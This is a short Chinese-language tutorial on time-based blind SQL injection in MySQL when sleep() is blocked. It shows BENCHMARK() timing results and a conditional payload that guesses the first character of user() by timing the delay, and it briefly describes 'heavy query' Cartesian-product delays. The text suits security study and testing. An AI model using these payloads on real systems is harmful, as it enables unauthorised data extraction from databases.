在某些情況下進行時間盲注的時候,如果sleep()函數無法使用,我們可以使用以下兩種方式來達到延時的效果。
1.benchmark()
benchmark是Mysql的一個內置函數,其作用是來測試一些函數的執行速度。benchmark()中帶有兩個參數,第一個是執行的次數,第二個是要執行的函數或者是表達式
mysql> select BENCHMARK(10000,md5('a')); +---------------------------+ | BENCHMARK(10000,md5('a')) | +---------------------------+ | 0 | +---------------------------+ 1 row in set (0.00 sec) mysql> select BENCHMARK(1000000,md5('a')); +-----------------------------+ | BENCHMARK(1000000,md5('a')) | +-----------------------------+ | 0 | +-----------------------------+ 1 row in set (0.33 sec) mysql> select BENCHMARK(10000000,md5('a')); +------------------------------+ | BENCHMARK(10000000,md5('a')) | +------------------------------+ | 0 | +------------------------------+ 1 row in set (2.93 sec)
可以看到,執行不同的次數那么執行的時間也就不一樣,通過這個函數我們可以達到與sleep()同樣的延時目的。
測試:
mysql> select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1); +-------------------------------------------------------------------+ | 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1) | +-------------------------------------------------------------------+ | 0 | +-------------------------------------------------------------------+ 1 row in set (2.90 sec)
2.heavy query
heavy query顧名思義就是通過做大量的查詢導致查詢時間較長來達到延時的目的。通常選擇一些比較大的表做笛卡爾積運算。
參考鏈接:
http://www.sqlinjection.net/heavy-query/